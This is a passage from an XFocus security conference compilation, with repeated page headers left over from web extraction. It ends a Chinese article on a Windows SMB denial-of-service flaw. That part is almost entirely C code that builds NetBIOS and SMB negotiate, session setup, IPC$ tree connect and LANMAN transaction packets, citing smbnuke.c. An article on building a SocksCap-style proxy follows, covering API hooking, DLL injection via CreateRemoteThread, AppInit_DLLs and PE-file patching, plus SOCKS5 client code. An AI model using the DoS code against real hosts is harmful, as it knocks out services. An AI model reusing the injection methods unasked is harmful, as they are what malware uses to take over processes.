xfree(szNegotiateBuf);printf("NetBIOS name test failed.\n");return 1;

}if(NbtHeader.s.packetType == 0x82){

xfree(szNegotiateBuf);return 0;

}else{

xfree(szNegotiateBuf);printf("NetBIOS name test failed.\n");return 1;

}

xfree(szNegotiateBuf);return 0;

}

// 查询NetBIOS名字 // 输入: // char * IpAddress IP地址 // int timeout 延时 http://www.xfocus.org , http://www.xfocus.net 第 181页 共 218页

Page 182: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

// 输出: // char * szNetBiosName NetBIOS名字 // 返回: // 成功 !=0 // 错误 ==0

int GET_NetBiosName(char * IpAddress, char * szNetBiosName, int timeout) {

SOCKET csock;NBT_NAME_HEADER NbtNameHeader;NBT_NAME_ANSWER NbtNameAnswer;struct sockaddr_in dest, from;int fromlen = sizeof(from);int iRet,iTimeout;char * SendBuf;

csock = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);if(csock == SOCKET_ERROR)return NULL;

iTimeout = timeout;iRet = setsockopt(csock,SOL_SOCKET,SO_SNDTIMEO,

(char*)&iTimeout,sizeof(iTimeout));if(csock == SOCKET_ERROR){

closesocket(csock);return 1;

}

iTimeout = timeout;iRet = setsockopt(csock,SOL_SOCKET,SO_RCVTIMEO,

(char*)&iTimeout,sizeof(iTimeout));if(csock == SOCKET_ERROR){

closesocket(csock);return 1;

}

dest.sin_family = AF_INET;dest.sin_port = htons(137);dest.sin_addr.s_addr = inet_addr(IpAddress);

memset(&NbtNameHeader, 0, sizeof(NBT_NAME_HEADER));NbtNameHeader.ID = htons(0x01F8);NbtNameHeader.Flags = htons(0x0010);NbtNameHeader.Questions = htons(0x0001);NbtNameHeader.Answer = 0;

http://www.xfocus.org , http://www.xfocus.net 第 182页 共 218页

Page 183: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

NbtNameHeader.Additional = 0;NbtNameHeader.Authority = 0;

SendBuf = xmalloc(sizeof(NBT_NAME_HEADER) + sizeof(NetBiosQuery));if(!SendBuf){

closesocket(csock);return 1;

}

memcpy(SendBuf, &NbtNameHeader, sizeof(NBT_NAME_HEADER));memcpy(SendBuf+sizeof(NBT_NAME_HEADER), NetBiosQuery, sizeof(NetBiosQuery));

iRet = sendto(csock, SendBuf, sizeof(NBT_NAME_HEADER) + sizeof(NetBiosQuery)-1, 0, (const sockaddr *)&dest, sizeof(dest));

if(iRet <= 0){

closesocket(csock);xfree(SendBuf);return 1;

}

memset(&from, 0, sizeof(from));memset(&NbtNameAnswer, 0, sizeof(NBT_NAME_ANSWER));xfree(SendBuf);

SendBuf = xmalloc(1024);if(!SendBuf){

closesocket(csock);return 1;

}iRet = recvfrom(csock, SendBuf, 1024, 0, (sockaddr *)&from, &fromlen);if(iRet < (sizeof(NBT_NAME_ANSWER) + sizeof(NBT_NAME_HEADER))){

closesocket(csock);xfree(SendBuf);return 1;

}

memcpy(&NbtNameAnswer, SendBuf + sizeof(NBT_NAME_HEADER), sizeof(NBT_NAME_ANSWER));

strncpy(szNetBiosName, NbtNameAnswer.Name, sizeof(NbtNameAnswer.Name));

closesocket(csock);xfree(SendBuf);

http://www.xfocus.org , http://www.xfocus.net 第 183页 共 218页

Page 184: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

return 0; }

int Make_Negotiate(SOCKET csock, PSMB_NEGOTIATEREPLY SMB_NegotiateReply) {

PSMB_HEADER SmbHeader;USHORT dwSize;USHORT dwSize1;USHORT dwSize2;PCHAR szBytes;PCHAR szBytes1;PCHAR szBytes2;int i;

dwSize = sizeof(LANMANDIALECT_PCNETWORKPROGRAM10);dwSize += sizeof(LANMANDIALECT_MICROSOFTNETWORKS103);dwSize += sizeof(LANMANDIALECT_MICROSOFTNETWORKS30);dwSize += sizeof(LANMANDIALECT_LANMAN10);dwSize += sizeof(LANMANDIALECT_LM12X002);dwSize += sizeof(SAMBA);dwSize += sizeof(LANMANDIALECT_NTLM012);dwSize += sizeof(NTLANMAN_10);dwSize += 8;dwSize1 = sizeof(SMB_HEADER);

dwSize2 = dwSize + dwSize1+3;

SmbHeader = (SMB_HEADER *)xmalloc(dwSize1);if(!SmbHeader)return 1;

SmbHeader->NBTHeader.s.packetType = 0;SmbHeader->NBTHeader.s.packetFlags = 0;SmbHeader->NBTHeader.s.packetLen = htons(dwSize2-4);

SmbHeader->Protocol = SMBMAGICVAL;SmbHeader->Command = SMB_COM_NEGOTIATE;SmbHeader->Status = 0;SmbHeader->Flags = 0x08;SmbHeader->Flags2 = 0x01;SmbHeader->Pid = (USHORT)rand() & 0xFFFF;SmbHeader->Mid = (USHORT)rand() & 0xFFFF;

szBytes = xmalloc(dwSize);szBytes1 = xmalloc(dwSize2);if(!szBytes || !szBytes1){

xfree(SmbHeader);

http://www.xfocus.org , http://www.xfocus.net 第 184页 共 218页

Page 185: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

return 1;}

szBytes2 = szBytes;for(i=0; Dialectsm[i].DialectName != NULL; i++){

* szBytes = Dialectsm[i].BufferFormat;strcpy(szBytes +1, Dialectsm[i].DialectName);szBytes += strlen(Dialectsm[i].DialectName) + 2;

}

memcpy(szBytes1, SmbHeader, dwSize1);szBytes1[dwSize1 + 1] = (char)0x81;memcpy(szBytes1 + dwSize1 + 3, szBytes2, dwSize);

i = send(csock, (char *)szBytes1, dwSize2, 0);if(i <= 0){

xfree(szBytes);xfree(szBytes1);xfree(SmbHeader);return 1;

}

memset(SmbHeader, 0, dwSize1);

xfree(szBytes);szBytes = xmalloc(1024);if(!szBytes){

xfree(szBytes1);xfree(SmbHeader);return 1;

}

i = recv(csock, szBytes, 1024, 0);if(i <= 0){

xfree(szBytes);xfree(szBytes1);xfree(SmbHeader);return 1;

}

szBytes2 = (char *)SmbHeader;SmbHeader = (SMB_HEADER *)szBytes;

http://www.xfocus.org , http://www.xfocus.net 第 185页 共 218页

Page 186: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

if(SmbHeader->Status != 0){

SmbHeader = (SMB_HEADER *)szBytes2;xfree(SmbHeader);xfree(szBytes);xfree(szBytes1);return 1;

}

SmbHeader = (SMB_HEADER *)szBytes2;memcpy(SMB_NegotiateReply, szBytes + sizeof(SMB_HEADER),

sizeof(SMB_NEGOTIATEREPLY));if(SMB_NegotiateReply->WordCount != 0x11){

xfree(szBytes);xfree(szBytes1);xfree(SmbHeader);return 1;

}

xfree(SmbHeader);xfree(szBytes1);xfree(szBytes);return 0;

}

int Make_SessionSetupX(SOCKET csock) {

PSMB_HEADER SmbHeader;PSMB_SESSIONSETUPX SmbSessionSetupX;PCHAR szBytes, szBytes1;PCHAR tmp;USHORT dwSize, dwSize1, dwSize2;UCHAR szDomain[] = "WORKGROUP";UCHAR szLanman[] = "Unix\0Samba";int i;

dwSize1 = sizeof(SMB_HEADER);dwSize2 = sizeof(SMB_SESSIONSETUPX);dwSize = dwSize1 + dwSize2 + sizeof(szDomain) + sizeof(szLanman) + 2;

SmbHeader = (SMB_HEADER *)xmalloc(dwSize1);SmbSessionSetupX = (SMB_SESSIONSETUPX *)xmalloc(dwSize2);szBytes = xmalloc(dwSize);if(!SmbHeader || !SmbSessionSetupX || !szBytes)

http://www.xfocus.org , http://www.xfocus.net 第 186页 共 218页

Page 187: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

return 1;

SmbHeader->NBTHeader.s.packetFlags = 0;SmbHeader->NBTHeader.s.packetType = 0;SmbHeader->NBTHeader.s.packetLen = htons(dwSize - 4);

SmbHeader->Protocol = SMBMAGICVAL;SmbHeader->Command = SMB_COM_SESSION_SETUP_ANDX;SmbHeader->Status = 0;SmbHeader->Flags = 0x08;SmbHeader->Flags2 = 0x01;SmbHeader->Pid = (USHORT)rand() & 0xFFFF;SmbHeader->Mid = (USHORT)rand() & 0xFFFF;

SmbSessionSetupX->WordCount = 13;SmbSessionSetupX->AndXCommand = 0xFF;SmbSessionSetupX->AndXReserved = 0;SmbSessionSetupX->AndXOffset = 0;SmbSessionSetupX->MaxBufferSize = 65535;SmbSessionSetupX->MaxMpxCount = 2;SmbSessionSetupX->VcNumber = 1025; SmbSessionSetupX->SessionKey = 0;SmbSessionSetupX->CaseInsensitivePasswordLength = 1;SmbSessionSetupX->CaseSensitivePasswordLength = 0;SmbSessionSetupX->Reserved = 0;SmbSessionSetupX->Capabilities = 0;SmbSessionSetupX->ByteCount = sizeof(szDomain) + sizeof(szLanman) + 2;

memcpy(szBytes, SmbHeader, dwSize1);memcpy(szBytes + dwSize1, SmbSessionSetupX, dwSize2);memcpy(szBytes + dwSize1 +2, "\0\0", 2);memcpy(szBytes + dwSize1 + dwSize2 + 2, szDomain, sizeof(szDomain));memcpy(szBytes + dwSize1 + dwSize2 + sizeof(szDomain) + 2, szLanman,

sizeof(szLanman));

i = send(csock, (char *)szBytes, dwSize, 0);if(i<0){

xfree(szBytes);xfree(SmbHeader);xfree(SmbSessionSetupX);return 1;

}

memset(SmbHeader, 0, dwSize1);

http://www.xfocus.org , http://www.xfocus.net 第 187页 共 218页

Page 188: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

szBytes1 = xmalloc(1024);if(!szBytes1){

xfree(SmbHeader);xfree(SmbSessionSetupX);xfree(szBytes);return 1;

}

i = recv(csock, szBytes1, 1024, 0);if(i <= 0){

xfree(SmbHeader);xfree(SmbSessionSetupX);xfree(szBytes);xfree(szBytes1);return 1;

}

tmp = (char *)SmbHeader;SmbHeader = (SMB_HEADER *)szBytes1;

if(SmbHeader->Status != 0){

SmbHeader = (SMB_HEADER *)tmp;xfree(SmbHeader);xfree(SmbSessionSetupX);xfree(szBytes);xfree(szBytes1);return 1;

}

User_ID = SmbHeader->Uid; SmbHeader = (SMB_HEADER *)tmp;xfree(SmbHeader);xfree(SmbSessionSetupX);xfree(szBytes);xfree(szBytes1);return 0;

}

int Make_TreeConnect(SOCKET csock) {

PSMB_HEADER SmbHeader;PSMB_TREECONNECT SmbTreeconnect;PCHAR szBytes, szBytes1;

http://www.xfocus.org , http://www.xfocus.net 第 188页 共 218页

Page 189: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

PCHAR tmp;USHORT dwSize, dwSize1, dwSize2;char szFileName[] = "\\IPC$";char szServiceName[] = "IPC";char szConnectStr[50] = "\0";int i;

memcpy(szConnectStr + 1, "\\\\", 2);memcpy(szConnectStr + 3, szBiosName, strlen(szBiosName));memcpy(szConnectStr + 3 + strlen(szBiosName), szFileName, strlen(szFileName));memcpy(szConnectStr + 4 + strlen(szBiosName) + strlen(szFileName), szServiceName,

strlen(szServiceName));

dwSize1 = sizeof(SMB_HEADER);dwSize2 = sizeof(SMB_TREECONNECT);dwSize = dwSize1 + dwSize2 + strlen(szBiosName) + 13;

SmbHeader = (SMB_HEADER *)xmalloc(dwSize1);SmbTreeconnect = (SMB_TREECONNECT *)xmalloc(dwSize2);szBytes = xmalloc(dwSize);if(!SmbHeader || !SmbTreeconnect || !szBytes)

return 1;

SmbHeader->NBTHeader.s.packetFlags = 0;SmbHeader->NBTHeader.s.packetType = 0;SmbHeader->NBTHeader.s.packetLen = htons(dwSize - 4);

SmbHeader->Protocol = SMBMAGICVAL;SmbHeader->Command = SMB_COM_TREE_CONNECT_ANDX;SmbHeader->Status = 0;SmbHeader->Flags = 0x18;SmbHeader->Flags2 = 0x2001;SmbHeader->Pid = (USHORT)rand() & 0xFFFF;SmbHeader->Uid = User_ID;

SmbTreeconnect->WordCount = 4;SmbTreeconnect->AndXCommand = 0xFF;SmbTreeconnect->AndXReserved = 0;SmbTreeconnect->AndXOffset = 0;SmbTreeconnect->Flags = 0;SmbTreeconnect->PasswordLength = 1;SmbTreeconnect->ByteCount = strlen(szBiosName) + 13;

memcpy(szBytes, SmbHeader, dwSize1);memcpy(szBytes + dwSize1, SmbTreeconnect, dwSize2);memcpy(szBytes + dwSize1 + dwSize2, szConnectStr, dwSize - dwSize1 - dwSize2);

http://www.xfocus.org , http://www.xfocus.net 第 189页 共 218页

Page 190: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

i = send(csock, (char *)szBytes, dwSize, 0);if(i<0){

xfree(szBytes);xfree(SmbHeader);xfree(SmbTreeconnect);return 1;

}

memset(SmbHeader, 0, dwSize1);

szBytes1 = new char[512];if(!szBytes1){

xfree(szBytes);xfree(SmbHeader);xfree(SmbTreeconnect);return 1;

}

i = recv(csock, szBytes1, 512, 0);if(i <= 0){

xfree(SmbHeader);xfree(SmbTreeconnect);xfree(szBytes);delete [] szBytes1;return 1;

}

tmp = (char *)SmbHeader;SmbHeader = (SMB_HEADER *)szBytes1;

if(SmbHeader->Status != 0){

SmbHeader = (SMB_HEADER *)tmp;xfree(SmbHeader);xfree(SmbTreeconnect);xfree(szBytes);delete [] szBytes1;return 1;

}

User_ID = SmbHeader->Uid;Tree_ID = SmbHeader->Tid;

http://www.xfocus.org , http://www.xfocus.net 第 190页 共 218页

Page 191: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

SmbHeader = (SMB_HEADER *)tmp;xfree(SmbHeader);xfree(SmbTreeconnect);xfree(szBytes);

delete [] szBytes1;return 0;

}

int Make_Transaction(SOCKET csock) {

PSMB_HEADER SmbHeader;PSMB_TRANSACTION SmbTransaction;PCHAR szBytes;USHORT dwSize, dwSize1, dwSize2;char szName[] = "\\PIPE\\LANMAN";FUNCPARAMETERS FuncParameters;int i;

dwSize1 = sizeof(SMB_HEADER);dwSize2 = sizeof(SMB_TRANSACTION);dwSize = dwSize1 + dwSize2 + sizeof(szName) + sizeof(FUNCPARAMETERS) - 1;

SmbHeader = (SMB_HEADER *)xmalloc(dwSize1);SmbTransaction = (SMB_TRANSACTION *)xmalloc(dwSize2);szBytes = xmalloc(dwSize);if(!SmbHeader || !SmbTransaction || !szBytes)

return 1;

SmbHeader->NBTHeader.s.packetFlags = 0;SmbHeader->NBTHeader.s.packetType = 0;SmbHeader->NBTHeader.s.packetLen = htons(dwSize - 4);

SmbHeader->Protocol = SMBMAGICVAL;SmbHeader->Command = SMB_COM_TRANSACTION;SmbHeader->Status = 0;SmbHeader->Pid = (USHORT)rand() & 0xFFFF;SmbHeader->Uid = User_ID;SmbHeader->Tid = Tree_ID;

SmbTransaction->WordCount = 14;SmbTransaction->ParameterCount = sizeof(FUNCPARAMETERS) - 1; SmbTransaction->TotalParameterCount = sizeof(FUNCPARAMETERS) - 1;SmbTransaction->ByteCount = sizeof(szName) + sizeof(FUNCPARAMETERS) - 1;SmbTransaction->ParameterOffset = dwSize1 + dwSize2 + sizeof(szName) - 4;

http://www.xfocus.org , http://www.xfocus.net 第 191页 共 218页

Page 192: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

SmbTransaction->DataOffset = dwSize - 4;

FuncParameters.Function_Code = 0x68;strcpy((char *)FuncParameters.Param_Descriptor, "WrLeh");strcpy((char *)FuncParameters.Return_Descriptor, "B13BWz");FuncParameters.Detail_Level = 1;FuncParameters.Recv_Buffer_Len = 50000;

memcpy(szBytes, SmbHeader, dwSize1);memcpy(szBytes + dwSize1, SmbTransaction, dwSize2);memcpy(szBytes + dwSize1 + dwSize2, szName, sizeof(szName));memcpy(szBytes + dwSize1 + dwSize2 + sizeof(szName), (char *)&FuncParameters,

sizeof(FUNCPARAMETERS));

i = send(csock, (char *)szBytes, dwSize, 0);if(i<0){

xfree(szBytes);xfree(SmbHeader);xfree(SmbTransaction);return 1;

}

xfree(szBytes);xfree(SmbHeader);xfree(SmbTransaction);return 0;

}

第五节 参考

Platform SDK Documentation CIFS Protocol Documentation CORE-20020618: Vulnerability in Windows SMB(DoS) SMBdie.zip smbnuke.c

http://www.xfocus.org , http://www.xfocus.net 第 192页 共 218页

Page 193: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

第六节 一点说明 我从 CORE SECURITY TECHNOLOGIES发布Windows SMB 存在 DOS问题开始看 SMB的东西,后来[packet storm]发布了一个利用程序 SMBdie.zip,但没有源码,我想写一个,还没写完的时候,Bugtraq发布了一个 smbnuke.c的源码,呵呵,还是别人快。后来看了一些 SMB的文档,正好 XFocus出会刊,想贡献自己的一点力量,但还没发,Phrack杂志的第 60期发布了,包含一个 SMB/CIFS介绍及一个攻击利用的文档,写的比我有水平多了, :( 但提高总是逐步进行的,既然写了就写了吧,^_^

http://www.xfocus.org , http://www.xfocus.net 第 193页 共 218页

Page 194: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

第九篇 SocksCap的简单实现作者:glacier < [email protected] >时间:2002-12

前段时间有人在本站的“网络编程”论坛问及 SocksCap的实现原理,粗略分析后依照其原理制作了一个简单示例,希望在思路上对大家有所启发。

第一节 原理分析 SOCKS协议被定义为一个应用层的用于穿越 IP网络防火墙的协议,该协议被描述为用来提供在 TCP和UDP域下为客户机-服务器应用程序便利和安全的穿过防火墙的一个架构。由于 SOCKS服务器可以为内网主机提供较全面的代理功能,所以越来越多的网络客户端工具开始支持 SOCKS协议。但并非所有的客户端软件都能立即具备对 SOCKS协议的良好支持,由此才诞生了 SocksCap。SocksCap的功能很简单,他采用 HOOK API的方式将一个名为 Socks32.dll的链接库注入到某个客户端程序的进程空间,将该程序所有的网络传输数据重新定向到 SOCKS服务器,再由 SOCKS服务器进行转发,这样便相当于为这个程序添加了 SOCKS 代理的功能。 为简便起见,本文仅对 SOCKS 5协议中基于 TCP协议的客户端程序进行讨论。根据RFC1928,在执行代理功能前的三个必要步骤是连接 SOCKS服务器、身份认证、发送请求,以上协商全部完成之后进行正常数据收发。在第三步“发送请求”的报文中,包含了真正需要连接的目标 IP地址和端口。由此可见,我们只需要在其他应用程序调用 API 函数socket()和 connect()期间,完成与 SOCKS服务器的连接/协商过程,然后再由原来的应用程序使用这个 Socket句柄进行正常的 send()或 recv()等操作就大功告成了。 原理已经分析清楚,接着要考虑的就是如何顺利拦截 socket()、connect()等API 函数来达到我们预期的目的。

第二节 API拦截 目前流行的拦截API 函数的方法主要有以下几种: 2.1、特洛伊DLL 编写一个伪 DLL并替换真正的系统 DLL,伪DLL拥有和系统DLL 完全一样的引出表。这样当API 调用请求传入伪DLL 后,编写者就可以根据需要自己进行处理或转交系统 DLL处理。其流程如下: 特洛伊DLL 系统DLL API 调用请求 -----> 空函数 API 函数 http://www.xfocus.org , http://www.xfocus.net 第 194页 共 218页

Page 195: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

| ^ v | 处理---------------+ 这种方法的缺点是显而易见的,首先是需要替换别人的系统文件,而且安装系统补丁时有可能将伪DLL还原;其次,这种方法相当于对系统中所有使用该 DLL的进程进行了 API拦截操作,稳定性上大打折扣。 2.2、修改进程 API入口地址 该方法处理 API 调用请求的流程与“替换系统 DLL”无异,但只对指定进程进行 API拦截操作。 2.2.1、直接修改 API入口地址 通过操作指定进程的进程空间,将其调用 API 函数的入口地址转到自己函数的入口地址,抢先获得进程的 API请求并根据需要进行处理。该方法对于Windows NT/2000系统实现较为简单,可以通过VirtualProtectEx()、WriteProcessMemeory()、ReadProcessMemeory()等几个API 调用完成。对于Windows 9x系统,则需要通过 LDT、IDT、Vxd等方法进入 Ring0级,并在内存中动态修改代码。 2.2.2、修改内存映像中 PE文件的引入表 在《WINDOWS核心编程》一书提到了另一种方法,该方法并不直接修改 API入口地址,而是首先遍历 PE文件在内存映像中的引入表,通过修改引入表中的地址来达到修改 API入口地址的目的。该方法在《WINDOWS核心编程》第 22章中有详尽分析,此处不作赘述。 两种方法各有利弊,方法一在Windows NT/2000系统下实现较为简单,但却可能恰好在调用 API时修改其地址,导致程序异常;方法二较为稳定,但对于没有引入表或做过加壳、压缩等处理的程序就无能为力了。

第三节 DLL注入 为了能够在目标进程中运行我们自己的代码(例如修改 API入口地址等)通常会用到以下几种 DLL注入技术: 1、安装系统钩子 通过 SetWindowsHookEx()安装系统钩子后,每个 GUI 程序都会主动将这个 DLL 映射到自己的进程空间,DLL的DllMain()中的代码将被执行。缺点同“特洛伊DLL”。 2、修改注册表 对于 Windows NT/2000 系统,通过修 改注册表键值“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs”,可以使每个使用到User32.dll的进程都主动映射指定的DLL。同样,DLL的DllMain()中的代码将被执行。缺点同“特洛伊DLL”。 3、远线程注入 对于Windows NT/2000系统,通过API 函数 CreateRemoteThread()可以在指定的目标进程中创建远程线程,并加载指定的DLL。详细描述可参看《WINDOWS核心编程》第 22章。

http://www.xfocus.org , http://www.xfocus.net 第 195页 共 218页

Page 196: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

4、修改 PE文件 这种方法接近病毒技术,通过永久性修改 PE文件,使目标程序每次启动都自动加载指定的DLL。 4.1、修改 PE文件引入表 曾有位 ID 叫“农民”的朋友写过一个名为 cmdbind的程序,并做了详细描述。他通过打开一个 PE 结构的可执行文件,更改引入表向其中加入 kern.dll和mbegin 函数,然后更改执行代码的入口地址指向新加入的代码,使程序先运行 kern.dll中的mbegin 函数后才转入原来的代码。 4.2、修改 PE文件入口代码 比上面更简便的做法是,直接更改 PE文件执行代码的入口地址指向新加入的代码,使程序 LoadLibrary()一个指定的DLL 后转入原来的代码。不需要对引入表做任何修改,一样可以保证 DllMain()中的代码被执行。

第四节 简单实现 1、基本思路及流程 示例程序中同时支持 2.2中提到的两种 API HOOK方法,可以通过预定义在编译前进行选择。我感觉在本文的应用中,方法一“直接修改 API入口地址”的表现更为出色。首先通过远线程方式将 DLL注入目标进程,然后主动通过 GetProcAddress()获取 API地址并做相应修改,丝毫不受程序加壳、压缩等处理的干扰。而且在我们的应用中一定是先修改了API函数的入口地址,API 函数才会被调用,所以不会出现Mr. Jeffrey Richter 提到的异常情况。 程序简单流程如下: 1)远线程将 DLL注入目标进程 2)DLL注入目标进程后对关键 API 函数的入口地址进行替换,使其指向自己函数的入口地址 3)在API 函数 socket()中完成连接 SOCKS服务器和身份认证过程,并返回 Socket句柄 4)在 API 函数 connect()中完成 SOCKS协议中的“发送请求”部分,向 SOCKS服务器指定真正的目标 IP地址和端口。此后目标进程便可以“透明”地通过 send()和 recv()进行正常的网络数据收发。 5)目标进程关闭时,远程注入的DLL自动被释放 2、实现方法 完整的示例程序见 src目录,API拦截技术已经丝毫谈不上新鲜了,相关代码无需过多解释。下面是对示例程序中部分关键代码的说明: //SOCKS 代理连接/认证,用于替换 socket() SOCKET SocksAuth(char *szSocksHost, int nSocksPort, char *szUser, char *szPass) { SOCKET nSocket = INVALID_SOCKET; char pBuf[MAX_PATH] = {0}; int nRtn = 0; //创建 SOCKET

http://www.xfocus.org , http://www.xfocus.net 第 196页 共 218页

Page 197: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

nSocket = socket(AF_INET, SOCK_STREAM, 0); if (nSocket == INVALID_SOCKET) { return INVALID_SOCKET; } struct sockaddr_in sa; memset(&sa, 0, sizeof(sa)); sa.sin_family = AF_INET; sa.sin_addr.s_addr = inet_addr(szSocksHost); //服务器地址 sa.sin_port = htons(nSocksPort); //服务器端口 //连接 SOCKS服务器 if (connect(nSocket, (struct sockaddr*)&sa, sizeof(struct sockaddr)) != 0) { closesocket(nSocket); return INVALID_SOCKET; } //发送协商报文,用于身份认证 pBuf[0] = 0x05; //VER - SOCKS V5 pBuf[1] = 0x01; //NMETHODS - 1 if (!szUser || !strlen(szUser)) { //无用户名、密码 pBuf[2] = 0x00; //METHODS - NO AUTH nRtn = send(nSocket, pBuf, 3, 0); if (nRtn <= 0) { closesocket(nSocket); return INVALID_SOCKET; } if (TcpStatus(nSocket, "r", 10) >= 0) nRtn = recv(nSocket, pBuf, sizeof(pBuf)-1, 0); else nRtn = -1; if (nRtn < 2) { closesocket(nSocket); return INVALID_SOCKET; } else if (pBuf[1] != 0x00) { //NO AUTH closesocket(nSocket); return INVALID_SOCKET; } } else { //验证用户名、密码 pBuf[2] = 0x02; //METHODS - AUTH nRtn = send(nSocket, pBuf, 3, 0); if (nRtn <= 0) { closesocket(nSocket); return INVALID_SOCKET; }

http://www.xfocus.org , http://www.xfocus.net 第 197页 共 218页

Page 198: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

if (TcpStatus(nSocket, "r", 10) >= 0) nRtn = recv(nSocket, pBuf, sizeof(pBuf)-1, 0); else nRtn = -1; if (nRtn < 2) { closesocket(nSocket); return INVALID_SOCKET; } //0x00 - NO AUTH //0x02 - AUTH if (pBuf[1] == 0x02) { int nUserLen = strlen(szUser); int nPassLen = strlen(szPass); pBuf[0] = 0x05; //VER - SOCKS V5 pBuf[1] = nUserLen; //LEN - USER strcpy(pBuf + 2, szUser); //USER pBuf[2 + nUserLen] = nPassLen; //LEN - PASS strcpy(pBuf + 2 + nUserLen + 1, szPass); //PASS nRtn = send(nSocket, pBuf, nUserLen+nPassLen+3, 0); if (nRtn <= 0) { closesocket(nSocket); return INVALID_SOCKET; } if (TcpStatus(nSocket, "r", 10) >= 0) nRtn = recv(nSocket, pBuf, sizeof(pBuf)-1, 0); else nRtn = -1; if (nRtn < 2) { closesocket(nSocket); return INVALID_SOCKET; } else if (pBuf[1] != 0x00) { //REP - SUCCEEDED closesocket(nSocket); return INVALID_SOCKET; } } else if (pBuf[1] != 0x00) { closesocket(nSocket); return INVALID_SOCKET; } } return nSocket; }

//通过 SOCKS 代理连接目标主机,用于替换 connect()

http://www.xfocus.org , http://www.xfocus.net 第 198页 共 218页

Page 199: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

int SocksConnect(SOCKET nSocket, const struct sockaddr *sa, int nNameLen) { char pBuf[MAX_PATH] = {0}; int nRtn = 0; struct sockaddr_in si; memcpy(&si, sa, nNameLen); //发送请求报文,连接真正的目标 IP地址及端口 pBuf[0] = 0x05; //VER - SOCKS V5 pBuf[1] = 0x01; //CMD - CONNECT pBuf[2] = 0x00; //RSV - RESERVED pBuf[3] = 0x01; //ATYP - IPV4; memcpy(pBuf+4, &si.sin_addr, 4); //DST.ADDR memcpy(pBuf+8, &si.sin_port, 2); //DST.PORT nRtn = send(nSocket, pBuf, 10, 0); if (nRtn <= 0) { closesocket(nSocket); return SOCKET_ERROR; } if (TcpStatus(nSocket, "r", 10) >= 0) nRtn = recv(nSocket, pBuf, sizeof(pBuf)-1, 0); else nRtn = -1; if (nRtn <= 0) { closesocket(nSocket); return SOCKET_ERROR; } else { if (pBuf[1] != 0x00) { //REP - SUCCEEDED closesocket(nSocket); return SOCKET_ERROR; } } return 0; }

3、细节问题 3.1、既然要将数据重新定向到 SOCKS服务器,当然要事先指定服务器地址和端口。示例程 序中采用简 单 处 理,从 C 盘根目录的 SocksCap.ini 文件中读取代 理服务器信息 。SocksCap.ini 格式如下: [SOCKS-SERVER] ADDRESS=192.168.0.100

http://www.xfocus.org , http://www.xfocus.net 第 199页 共 218页

